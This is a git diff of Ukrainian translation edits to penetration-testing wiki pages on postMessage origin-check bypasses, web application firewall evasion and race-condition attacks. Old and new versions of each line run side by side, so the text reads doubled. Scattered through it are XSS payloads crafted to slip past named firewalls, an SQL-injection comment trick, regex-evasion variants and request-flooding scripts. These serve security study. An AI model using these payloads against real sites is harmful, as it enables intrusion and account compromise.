В результаті, коли спливаюче вікно відкривається за цих умов і повідомлення надсилається з iframe до спливаючого вікна за допомогою **`postMessage`**, як відправник, так і отримувач мають свої походження, встановлені в `null`. Ця ситуація призводить до сценарію, де **`e.origin == window.origin`** оцінюється як істина (`null == null`), оскільки як iframe, так і спливаюче вікно мають одне й те саме значення походження `null`. В результаті, коли спливаюче вікно відкривається за цих умов і повідомлення надсилається з iframe до спливаючого вікна за допомогою **`postMessage`**, як відправник, так і отримувач мають свої походження, встановлені в `null`. Ця ситуація призводить до сценарію, де **`e.origin == window.origin`** оцінюється як істина (`null == null`), оскільки як iframe, так і спливаюче вікно мають одне й те саме значення походження `null`.
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
``` ```
### Вкрадення повідомлення, надісланого дитині, блокуючи основну сторінку ### Вкрадення повідомлення, надісланого дитині, блокуючи основну сторінку
На наступній сторінці ви можете побачити, як ви могли б вкрасти **чутливі дані postmessage**, надіслані до **дитячого iframe**, блокуючи **основну** сторінку перед відправкою даних і зловживаючи **XSS у дитині**, щоб **викрити дані** до їх отримання: На наступній сторінці ви можете побачити, як ви могли б вкрасти **чутливі дані postmessage**, надіслані до **дитячого iframe**, **блокуючи** **основну** сторінку перед відправкою даних і зловживаючи **XSS у дитині**, щоб **викрити дані** до їх отримання:
{{#ref}} {{#ref}}
blocking-main-page-to-steal-postmessage.md blocking-main-page-to-steal-postmessage.md
@ -181,13 +181,13 @@ blocking-main-page-to-steal-postmessage.md
steal-postmessage-modifying-iframe-location.md steal-postmessage-modifying-iframe-location.md
{{#endref}} {{#endref}}
### postMessage для забруднення прототипу та/або XSS ### postMessage до Prototype Pollution та/або XSS
У сценаріях, де дані, надіслані через `postMessage`, виконуються JS, ви можете **вставити** **сторінку** і **використати** **забруднення прототипу/XSS**, надіславши експлойт через `postMessage`. У сценаріях, де дані, надіслані через `postMessage`, виконуються JS, ви можете **вставити** **сторінку** і **використати** **прототипне забруднення/XSS**, надіславши експлойт через `postMessage`.
Кілька **дуже добре пояснених XSS через `postMessage`** можна знайти в [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) Кілька **дуже добре пояснених XSS через `postMessage`** можна знайти в [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
Приклад експлойту для зловживання **забрудненням прототипу, а потім XSS** через `postMessage` до `iframe`: Приклад експлойту для зловживання **прототипним забрудненням, а потім XSS** через `postMessage` до `iframe`:
```html ```html
<html> <html>
<body> <body>

View File

@ -4,15 +4,15 @@
## Перемога RC з Iframes ## Перемога RC з Iframes
Згідно з цим [**описом Terjanq**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710), блоб-документи, створені з нульових джерел, ізольовані для безпеки, що означає, що якщо ви зайняте головну сторінку, сторінка iframe буде виконана. Згідно з цим [**описом Terjanq**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710), блоб-документи, створені з нульових джерел, ізольовані для безпеки, що означає, що якщо ви зайняті головною сторінкою, сторінка iframe буде виконана.
В основному, в цьому виклику **ізольований iframe виконується** і відразу **після** його **завантаження** **батьківська** сторінка **надішле** повідомлення **post** з **флагом**.\ В основному, в цьому виклику **ізольований iframe виконується**, і відразу **після** його **завантаження** **батьківська** сторінка **надішле** повідомлення post з **флагом**.\
Однак, ця комунікація postmessage є **вразливою до XSS** (**iframe** може виконувати JS-код). Однак, ця комунікація postmessage є **вразливою до XSS** (**iframe** може виконувати JS-код).
Отже, мета зловмисника полягає в тому, щоб **дозволити батьківській сторінці створити iframe**, але **перед тим**, як **батьківська** сторінка **надішле** чутливі дані (**флаг**), **тримати її зайнятою** і надіслати **payload до iframe**. Поки **батьківська сторінка зайнята**, **iframe виконує payload**, який буде деяким JS, що слухатиме **повідомлення postmessage батьківської сторінки і витікатиме флаг**.\ Отже, мета зловмисника полягає в тому, щоб **дозволити батьківській сторінці створити iframe**, але **перед тим**, як **батьківська** сторінка **надішле** чутливі дані (**флаг**), **тримати її зайнятою** і надіслати **payload до iframe**. Поки **батьківська сторінка зайнята**, **iframe виконує payload**, який буде деяким JS, що слухатиме **повідомлення postmessage батьківської сторінки і витікатиме флаг**.\
Нарешті, iframe виконав payload, і батьківська сторінка перестає бути зайнятою, тому вона надсилає флаг, а payload його витікає. Нарешті, iframe виконав payload, і батьківська сторінка перестає бути зайнятою, тому вона надсилає флаг, а payload його витікає.
Але як ви могли б змусити батьківську сторінку бути **зайнятою відразу після того, як вона згенерувала iframe і лише поки чекає, щоб iframe був готовий надіслати чутливі дані?** В основному, вам потрібно знайти **асинхронну** **дію**, яку ви могли б змусити батьківську сторінку **виконати**. Наприклад, у цьому виклику батьківська сторінка **слухала** **postmessages** ось так: Але як ви могли б змусити батьківську сторінку бути **зайнятою відразу після того, як вона згенерувала iframe і лише поки чекає, щоб iframe був готовий надіслати чутливі дані?** В основному, вам потрібно знайти **асинхронну** **дію**, яку ви могли б змусити батьківську сторінку **виконати**. Наприклад, в цьому виклику батьківська сторінка **слухала** **postmessages** ось так:
```javascript ```javascript
window.addEventListener("message", (e) => { window.addEventListener("message", (e) => {
if (e.data == "blob loaded") { if (e.data == "blob loaded") {
@ -20,11 +20,11 @@ $("#previewModal").modal()
} }
}) })
``` ```
тому було можливо надіслати **велике ціле число в postmessage**, яке буде **перетворено в рядок** в цьому порівнянні, що займе деякий час: отже, було можливим надіслати **велике ціле число в postmessage**, яке буде **перетворено в рядок** в цьому порівнянні, що займе деякий час:
```bash ```bash
const buffer = new Uint8Array(1e7); const buffer = new Uint8Array(1e7);
win?.postMessage(buffer, '*', [buffer.buffer]); win?.postMessage(buffer, '*', [buffer.buffer]);
``` ```
І щоб бути точним і **надіслати** це **postmessage** одразу **після** створення **iframe**, але **до** того, як він буде **готовий** приймати дані від батьківського елемента, вам потрібно буде **погратися з мілісекундами `setTimeout`**. І щоб бути точним і **надіслати** це **postmessage** одразу **після** створення **iframe**, але **до** того, як він буде **готовий** отримати дані від батьківського елемента, вам потрібно буде **погратися з мілісекундами `setTimeout`**.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -15,13 +15,13 @@ renderContainer.innerHTML = data.body
} }
} }
``` ```
Основна проблема полягає в тому, що [**головна сторінка**](https://so-xss.terjanq.me) використовує DomPurify для відправки `data.body`, тому для того, щоб надіслати свої власні html дані до цього коду, вам потрібно **обійти** `e.origin !== window.origin`. Основна проблема полягає в тому, що [**головна сторінка**](https://so-xss.terjanq.me) використовує DomPurify для відправки `data.body`, тому, щоб надіслати свої власні html дані до цього коду, вам потрібно **обійти** `e.origin !== window.origin`.
Давайте подивимося на рішення, яке вони пропонують. Давайте подивимося на рішення, яке вони пропонують.
### SOP обхід 1 (e.origin === null) ### SOP обхід 1 (e.origin === null)
Коли `//example.org` вбудовано в **пісочницю iframe**, тоді **походження** сторінки буде **`null`**, тобто **`window.origin === null`**. Тож просто вбудувавши iframe через `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, ми можемо **примусити походження `null`**. Коли `//example.org` вбудовано в **пісочницю iframe**, тоді **походження** сторінки буде **`null`**, тобто **`window.origin === null`**. Тож, просто вбудувавши iframe через `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, ми можемо **примусити походження `null`**.
Якщо сторінка була б **вбудовуваною**, ви могли б обійти цю захист таким чином (можливо, також потрібно налаштувати cookies на `SameSite=None`). Якщо сторінка була б **вбудовуваною**, ви могли б обійти цю захист таким чином (можливо, також потрібно налаштувати cookies на `SameSite=None`).

View File

@ -10,13 +10,13 @@
```javascript ```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) { if (e.source == window.calc.contentWindow && e.data.token == window.token) {
``` ```
Якщо він це зробить, він може надіслати **postmessage** з HTML-контентом, який буде записаний на сторінці за допомогою **`innerHTML`** без санітизації (**XSS**). Якщо він це зробить, він може надіслати **postmessage** з HTML-контентом, який буде записаний на сторінці з **`innerHTML`** без санітарної обробки (**XSS**).
Спосіб обійти **перевірку** - це зробити **`window.calc.contentWindow`** **`undefined`** і **`e.source`** **`null`**: Спосіб обійти **перевірку** полягає в тому, щоб зробити **`window.calc.contentWindow`** **`undefined`** і **`e.source`** **`null`**:
- **`window.calc.contentWindow`** насправді є **`document.getElementById("calc")`**. Ви можете знищити **`document.getElementById`** за допомогою **`<img name=getElementById />`** (зауважте, що API санітизації -[тут](https://wicg.github.io/sanitizer-api/#dom-clobbering)- не налаштовано для захисту від атак на знищення DOM у своєму стандартному стані). - **`window.calc.contentWindow`** насправді є **`document.getElementById("calc")`**. Ви можете знищити **`document.getElementById`** за допомогою **`<img name=getElementById />`** (зауважте, що API Sanitizer -[тут](https://wicg.github.io/sanitizer-api/#dom-clobbering)- не налаштовано для захисту від атак на знищення DOM у своєму стандартному стані).
- Отже, ви можете знищити **`document.getElementById("calc")`** за допомогою **`<img name=getElementById /><div id=calc></div>`**. Тоді **`window.calc`** буде **`undefined`**. - Отже, ви можете знищити **`document.getElementById("calc")`** за допомогою **`<img name=getElementById /><div id=calc></div>`**. Тоді **`window.calc`** буде **`undefined`**.
- Тепер нам потрібно, щоб **`e.source`** було **`undefined`** або **`null`** (оскільки використовується `==`, **`null == undefined`** є **`True`**). Отримати це "легко". Якщо ви створите **iframe** і **надішлете** **postMessage** з нього, а потім відразу **видалите** iframe, **`e.origin`** буде **`null`**. Перевірте наступний код - Тепер нам потрібно, щоб **`e.source`** було **`undefined`** або **`null`** (оскільки використовується `==`, а не `===`, **`null == undefined`** є **`True`**). Отримати це "легко". Якщо ви створите **iframe** і **надішлете** **postMessage** з нього, а потім відразу **видалите** iframe, **`e.origin`** буде **`null`**. Перевірте наступний код
```javascript ```javascript
let iframe = document.createElement("iframe") let iframe = document.createElement("iframe")
document.body.appendChild(iframe) document.body.appendChild(iframe)

View File

@ -17,7 +17,7 @@ location = /admin/ {
deny all; deny all;
} }
``` ```
Щоб запобігти обходу, Nginx виконує нормалізацію шляху перед його перевіркою. Однак, якщо сервер на стороні бекенду виконує іншу нормалізацію (видаляючи символи, які Nginx не видаляє), може бути можливим обійти цю захист. Щоб запобігти обходам, Nginx виконує нормалізацію шляху перед його перевіркою. Однак, якщо сервер на стороні бекенду виконує іншу нормалізацію (видаляючи символи, які Nginx не видаляє), може бути можливим обійти цю захист.
### **NodeJS - Express** ### **NodeJS - Express**
@ -79,13 +79,13 @@ deny all;
Змінні `REQUEST_BASENAME` та `PATH_INFO` також були під впливом цього багу. Змінні `REQUEST_BASENAME` та `PATH_INFO` також були під впливом цього багу.
Щось подібне сталося у версії 2 Mod Security, що дозволило обійти захист, який заважав користувачеві отримувати доступ до файлів з певними розширеннями, пов'язаними з резервними файлами (такими як `.bak`), просто надіславши крапку, закодовану в URL як `%2e`, наприклад: `https://example.com/backup%2ebak`. Щось подібне сталося в версії 2 Mod Security, що дозволило обійти захист, який заважав користувачам отримувати доступ до файлів з певними розширеннями, пов'язаними з резервними файлами (такими як `.bak`), просто надіславши крапку, закодовану в URL як `%2e`, наприклад: `https://example.com/backup%2ebak`.
## Обхід AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a> ## Обхід AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Неправильний заголовок ### Неправильний заголовок
[Це дослідження](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) згадує, що було можливим обійти правила AWS WAF, застосовані до HTTP заголовків, надіславши "неправильний" заголовок, який не був правильно розібраний AWS, але був розібраний сервером на задньому плані. [Це дослідження](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) згадує, що було можливим обійти правила AWS WAF, застосовані до HTTP заголовків, надіславши "неправильний" заголовок, який не був правильно оброблений AWS, але був оброблений сервером на задньому плані.
Наприклад, надіславши наступний запит з SQL-ін'єкцією в заголовку X-Query: Наприклад, надіславши наступний запит з SQL-ін'єкцією в заголовку X-Query:
```http ```http
@ -110,7 +110,7 @@ Connection: close\r\n
- З [**документації Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:** - З [**документації Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
Старі веб-брандмауери з Core Rule Set 3.1 (або нижче) дозволяють повідомленням, що перевищують **128 KB**, вимкнувши перевірку тіла запиту, але ці повідомлення не будуть перевірені на вразливості. Для новіших версій (Core Rule Set 3.2 або новіше) те ж саме можна зробити, вимкнувши максимальне обмеження тіла запиту. Коли запит перевищує обмеження розміру: Старі веб-брандмауери з набором основних правил 3.1 (або нижче) дозволяють повідомлення, що перевищують **128 KB**, вимкнувши перевірку тіла запиту, але ці повідомлення не будуть перевірені на вразливості. Для новіших версій (набір основних правил 3.2 або новіший) те ж саме можна зробити, вимкнувши максимальне обмеження тіла запиту. Коли запит перевищує обмеження розміру:
Якщо **режим запобігання**: Логування та блокування запиту.\ Якщо **режим запобігання**: Логування та блокування запиту.\
Якщо **режим виявлення**: Перевіряє до межі, ігнорує решту та веде журнал, якщо `Content-Length` перевищує межу. Якщо **режим виявлення**: Перевіряє до межі, ігнорує решту та веде журнал, якщо `Content-Length` перевищує межу.
@ -141,15 +141,15 @@ Connection: close\r\n
# to the XSS payload on the right # to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥ --> img src=p onerror='prompt(1)'> img src⁼p onerror⁼prompt⁽1⁾﹥ --> img src=p onerror='prompt(1)'>
``` ```
### Обхід контекстних WAF з кодуваннями <a href="#ip-rotation" id="ip-rotation"></a> ### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
Як згадано в [**цьому блозі**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), для обходу WAF, які можуть підтримувати контекст введення користувача, ми можемо зловживати техніками WAF, щоб фактично нормалізувати введення користувачів. Як згадувалося в [**цьому блозі**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), щоб обійти WAF, здатні підтримувати контекст введення користувача, ми можемо зловживати техніками WAF для нормалізації введення користувачів.
Наприклад, у пості згадується, що **Akamai декодував введення користувача 10 разів**. Тому щось на кшталт `<input/%2525252525252525253e/onfocus` буде сприйнято Akamai як `<input/>/onfocus`, що **може здатися, що це нормально, оскільки тег закритий**. Однак, поки додаток не декодує введення 10 разів, жертва побачить щось на кшталт `<input/%25252525252525253e/onfocus`, що **все ще є дійсним для атаки XSS**. Наприклад, у пості згадується, що **Akamai декодував введення користувача 10 разів**. Тому щось на кшталт `<input/%2525252525252525253e/onfocus` буде сприйнято Akamai як `<input/>/onfocus`, що **може здатися нормальним, оскільки тег закритий**. Однак, поки додаток не декодує введення 10 разів, жертва побачить щось на кшталт `<input/%25252525252525253e/onfocus`, що **все ще є дійсним для атаки XSS**.
Отже, це дозволяє **сховати корисні навантаження в закодованих компонентах**, які WAF декодує та інтерпретує, в той час як жертва цього не побачить. Отже, це дозволяє **сховати корисні навантаження в закодованих компонентах**, які WAF декодує та інтерпретує, тоді як жертва цього не побачить.
Більше того, це можна зробити не лише з URL-кодованими корисними навантаженнями, але й з іншими кодуваннями, такими як unicode, hex, octal... Більше того, це можна зробити не лише з URL закодованими навантаженнями, але й з іншими кодуваннями, такими як unicode, hex, octal...
У пості пропонуються наступні фінальні обходи: У пості пропонуються наступні фінальні обходи:
@ -158,7 +158,7 @@ Connection: close\r\n
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>` - AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">` - Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
Також згадується, що в залежності від **того, як деякі WAF розуміють контекст** введення користувача, може бути можливість зловживати цим. Пропонований приклад у блозі полягає в тому, що Akamai дозволяє ставити що завгодно між `/*` і `*/` (можливо, тому що це зазвичай використовується як коментарі). Тому SQL-ін'єкція, така як `/*'or sleep(5)-- -*/`, не буде виявлена і буде дійсною, оскільки `/*` є початковим рядком ін'єкції, а `*/` закоментовано. Також згадується, що в залежності від **того, як деякі WAF розуміють контекст** введення користувача, може бути можливим зловживати цим. Пропонований приклад у блозі полягає в тому, що Akamai дозволяє вставляти що завгодно між `/*` і `*/` (можливо, тому що це зазвичай використовується як коментарі). Тому SQL-ін'єкція, така як `/*'or sleep(5)-- -*/`, не буде виявлена і буде дійсною, оскільки `/*` є початковим рядком ін'єкції, а `*/` закоментовано.
Ці види проблем з контекстом також можуть бути використані для **зловживання іншими вразливостями, ніж ті, які очікуються для експлуатації WAF** (наприклад, це також може бути використано для експлуатації XSS). Ці види проблем з контекстом також можуть бути використані для **зловживання іншими вразливостями, ніж ті, які очікуються для експлуатації WAF** (наприклад, це також може бути використано для експлуатації XSS).
@ -168,17 +168,17 @@ Connection: close\r\n
h2c-smuggling.md h2c-smuggling.md
{{#endref}} {{#endref}}
### Ротація IP <a href="#ip-rotation" id="ip-rotation"></a> ### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Генерація URL API шлюзу для використання з ffuf - [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Генерація URL API шлюзу для використання з ffuf
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Схоже на fireprox - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Схоже на fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Плагін Burp Suite, який використовує IP-адреси API шлюзу - [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Плагін Burp Suite, який використовує IP API шлюзів
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Динамічно визначена кількість контейнерів активується на основі розміру вхідного файлу та фактора розподілу, при цьому вхідний файл розбивається на частини для паралельного виконання, наприклад, 100 екземплярів обробляють 100 частин з вхідного файлу на 10,000 рядків з фактором розподілу 100 рядків. - [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Динамічно визначена кількість контейнерів активується на основі розміру вхідного файлу та фактора розподілу, при цьому вхідний файл розбивається на частини для паралельного виконання, наприклад, 100 екземплярів обробляють 100 частин з вхідного файлу на 10,000 рядків з фактором розподілу 100 рядків.
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
### Обходи Regex ### Regex Bypasses
Різні техніки можуть бути використані для обходу фільтрів regex на брандмауерах. Приклади включають чергування регістрів, додавання переносів рядків та кодування корисних навантажень. Ресурси для різних обходів можна знайти на [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) та [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Приклади нижче були взяті з [цього артикулу](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2). Різні техніки можуть бути використані для обходу regex фільтрів на брандмауерах. Приклади включають чергування регістрів, додавання переносів рядків та кодування навантажень. Ресурси для різних обходів можна знайти на [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) та [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Приклади нижче були взяті з [цього артикулу](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
```bash ```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag <sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<" <<script>alert(XSS)</script> #prepending an additional "<"

View File

@ -7,7 +7,7 @@
## Підвищення атак на умови гонки ## Підвищення атак на умови гонки
Основною перешкодою для використання умов гонки є забезпечення одночасної обробки кількох запитів з **дуже незначною різницею в їх часі обробки — ідеально, менше 1 мс**. Основною перешкодою для використання умов гонки є забезпечення одночасної обробки кількох запитів з **дуже незначною різницею в їх часі обробки — в ідеалі менше 1 мс**.
Тут ви можете знайти деякі техніки для синхронізації запитів: Тут ви можете знайти деякі техніки для синхронізації запитів:
@ -27,7 +27,7 @@
### Адаптація до архітектури сервера ### Адаптація до архітектури сервера
Розуміння архітектури цілі важливе. Фронтальні сервери можуть по-різному маршрутизувати запити, що впливає на час. Попереднє розігрівання з'єднання на стороні сервера через незначні запити може нормалізувати час запитів. Розуміння архітектури цілі є критично важливим. Фронтальні сервери можуть маршрутизувати запити по-різному, що впливає на час. Попереднє розігрівання з'єднання на стороні сервера через незначні запити може нормалізувати час запитів.
#### Обробка блокування на основі сесій #### Обробка блокування на основі сесій
@ -35,7 +35,7 @@
#### Подолання обмежень швидкості або ресурсів #### Подолання обмежень швидкості або ресурсів
Якщо розігрівання з'єднання неефективне, навмисне викликання затримок обмежень швидкості або ресурсів веб-серверів через потік фальшивих запитів може полегшити однопакетну атаку, викликавши затримку на стороні сервера, що сприяє умовам гонки. Якщо розігрівання з'єднання неефективне, навмисне викликання затримок обмеження швидкості або ресурсів веб-серверів через потік фальшивих запитів може полегшити однопакетну атаку, викликавши затримку на стороні сервера, що сприяє умовам гонки.
## Приклади атак ## Приклади атак
@ -84,7 +84,7 @@ engine.queue(confirmationReq, gate=currentAttempt)
engine.openGate(currentAttempt) engine.openGate(currentAttempt)
``` ```
- Він також доступний у **Repeater** через нову опцію '**Send group in parallel**' у Burp Suite. - Він також доступний у **Repeater** через нову опцію '**Send group in parallel**' у Burp Suite.
- Для **limit-overrun** ви можете просто додати **той самий запит 50 разів** у групу. - Для **limit-overrun** ви можете просто додати **один і той же запит 50 разів** у групу.
- Для **connection warming** ви можете **додати** на **початку** **групи** кілька **запитів** до деякої нестатичної частини веб-сервера. - Для **connection warming** ви можете **додати** на **початку** **групи** кілька **запитів** до деякої нестатичної частини веб-сервера.
- Для **delaying** процесу **між** обробкою **одного запиту та іншого** в 2 підстанах, ви можете **додати додаткові запити між** обома запитами. - Для **delaying** процесу **між** обробкою **одного запиту та іншого** в 2 підстанах, ви можете **додати додаткові запити між** обома запитами.
- Для **multi-endpoint** RC ви можете почати надсилати **запит**, який **йде до прихованого стану**, а потім **50 запитів** одразу після нього, які **експлуатують прихований стан**. - Для **multi-endpoint** RC ви можете почати надсилати **запит**, який **йде до прихованого стану**, а потім **50 запитів** одразу після нього, які **експлуатують прихований стан**.
@ -219,19 +219,19 @@ response = requests.get(url, verify=False)
``` ```
### Поліпшення атаки з одного пакета ### Поліпшення атаки з одного пакета
У початковому дослідженні пояснюється, що ця атака має обмеження в 1,500 байт. Однак у [**цьому пості**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) було пояснено, як можливо розширити обмеження в 1,500 байт атаки з одного пакета до **65,535 B обмеження вікна TCP, використовуючи фрагментацію на рівні IP** (розділення одного пакета на кілька IP-пакетів) і надсилання їх у різному порядку, що дозволяє запобігти повторній збірці пакета, поки всі фрагменти не досягнуть сервера. Ця техніка дозволила досліднику надіслати 10,000 запитів приблизно за 166 мс.&#x20; У початковому дослідженні пояснюється, що ця атака має обмеження в 1,500 байт. Однак у [**цьому пості**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) було пояснено, як можна розширити обмеження в 1,500 байт атаки з одного пакета до **65,535 B віконного обмеження TCP, використовуючи фрагментацію на рівні IP** (розділення одного пакета на кілька IP-пакетів) і надсилання їх у різному порядку, що дозволяє запобігти повторній збірці пакета, поки всі фрагменти не досягнуть сервера. Ця техніка дозволила досліднику надіслати 10,000 запитів приблизно за 166 мс.&#x20;
Зверніть увагу, що хоча це поліпшення робить атаку більш надійною в RC, яка вимагає, щоб сотні/тисячі пакетів прибули одночасно, це також може мати деякі програмні обмеження. Деякі популярні HTTP-сервери, такі як Apache, Nginx і Go, мають суворе налаштування `SETTINGS_MAX_CONCURRENT_STREAMS` на 100, 128 і 250. Однак інші, такі як NodeJS і nghttp2, мають його без обмежень.\ Зверніть увагу, що хоча це поліпшення робить атаку більш надійною в RC, яка вимагає, щоб сотні/тисячі пакетів прибули одночасно, це також може мати деякі програмні обмеження. Деякі популярні HTTP-сервери, такі як Apache, Nginx і Go, мають суворе налаштування `SETTINGS_MAX_CONCURRENT_STREAMS` на 100, 128 і 250. Однак інші, такі як NodeJS і nghttp2, мають його без обмежень.\
Це в основному означає, що Apache буде враховувати лише 100 HTTP-з'єднань з одного TCP-з'єднання (обмежуючи цю атаку RC). Це в основному означає, що Apache буде враховувати лише 100 HTTP-з'єднань з одного TCP-з'єднання (обмежуючи цю атаку RC).
Ви можете знайти деякі приклади використання цієї техніки в репозиторії [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). Ви можете знайти деякі приклади використання цієї техніки в репозиторії [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## Сировинний BF ## Сирий BF
Перед попереднім дослідженням були деякі корисні навантаження, які просто намагалися надсилати пакети якомога швидше, щоб викликати RC. Перед попереднім дослідженням були деякі корисливі дані, які просто намагалися надсилати пакети якомога швидше, щоб викликати RC.
- **Повторювач:** Перегляньте приклади з попереднього розділу. - **Повторювач:** Перегляньте приклади з попереднього розділу.
- **Зловмисник**: Надішліть **запит** до **Зловмисника**, встановіть **кількість потоків** на **30** у **меню параметрів** і виберіть як навантаження **Null payloads** та згенеруйте **30.** - **Зловмисник**: Надішліть **запит** до **Зловмисника**, встановіть **кількість потоків** на **30** у **меню параметрів** і виберіть як корисливі дані **Null payloads** та згенеруйте **30.**
- **Turbo Intruder** - **Turbo Intruder**
```python ```python
def queueRequests(target, wordlists): def queueRequests(target, wordlists):
@ -301,13 +301,13 @@ asyncio.run(main())
- Почніть з визначення кінцевих точок, які модифікують або взаємодіють з критичними даними, такими як профілі користувачів або процеси скидання паролів. Зосередьтеся на: - Почніть з визначення кінцевих точок, які модифікують або взаємодіють з критичними даними, такими як профілі користувачів або процеси скидання паролів. Зосередьтеся на:
- **Зберігання**: Віддавайте перевагу кінцевим точкам, які маніпулюють постійними даними на стороні сервера, а не тими, що обробляють дані на стороні клієнта. - **Зберігання**: Віддавайте перевагу кінцевим точкам, які маніпулюють постійними даними на стороні сервера, а не тими, що обробляють дані на стороні клієнта.
- **Дія**: Шукайте операції, які змінюють існуючі дані, оскільки вони більш імовірно створюють експлуатовані умови в порівнянні з тими, що додають нові дані. - **Дія**: Шукайте операції, які змінюють існуючі дані, оскільки вони більш імовірно створюють експлуатовані умови в порівнянні з тими, що додають нові дані.
- **Ключування**: Успішні атаки зазвичай включають операції, які ключуються на одному й тому ж ідентифікаторі, наприклад, ім'я користувача або токен скидання. - **Ключування**: Успішні атаки зазвичай включають операції, що використовують один і той же ідентифікатор, наприклад, ім'я користувача або токен скидання.
2. **Проведіть початкове тестування** 2. **Проведіть початкове тестування**
- Тестуйте визначені кінцеві точки з атаками гонки, спостерігаючи за будь-якими відхиленнями від очікуваних результатів. Несподівані відповіді або зміни в поведінці програми можуть сигналізувати про вразливість. - Тестуйте визначені кінцеві точки за допомогою атак гонки, спостерігаючи за будь-якими відхиленнями від очікуваних результатів. Несподівані відповіді або зміни в поведінці програми можуть сигналізувати про вразливість.
3. **Демонструйте вразливість** 3. **Демонструйте вразливість**
- Зосередьте атаку на мінімальній кількості запитів, необхідних для експлуатації вразливості, часто лише двох. Цей етап може вимагати кількох спроб або автоматизації через точний таймінг. - Зосередьте атаку на мінімальній кількості запитів, необхідних для експлуатації вразливості, часто всього два. Цей етап може вимагати кількох спроб або автоматизації через точний таймінг.
### Часочутливі атаки ### Часово чутливі атаки
Точність у таймінгу запитів може виявити вразливості, особливо коли використовуються передбачувані методи, такі як мітки часу, для безпекових токенів. Наприклад, генерація токенів скидання паролів на основі міток часу може дозволити ідентичні токени для одночасних запитів. Точність у таймінгу запитів може виявити вразливості, особливо коли використовуються передбачувані методи, такі як мітки часу, для безпекових токенів. Наприклад, генерація токенів скидання паролів на основі міток часу може дозволити ідентичні токени для одночасних запитів.
@ -317,7 +317,7 @@ asyncio.run(main())
**Приклад:** **Приклад:**
- Запросіть два токени скидання пароля одночасно та порівняйте їх. Співпадіння токенів вказує на дефект у генерації токенів. - Запросіть два токени скидання пароля одночасно та порівняйте їх. Співпадіння токенів вказує на недолік у генерації токенів.
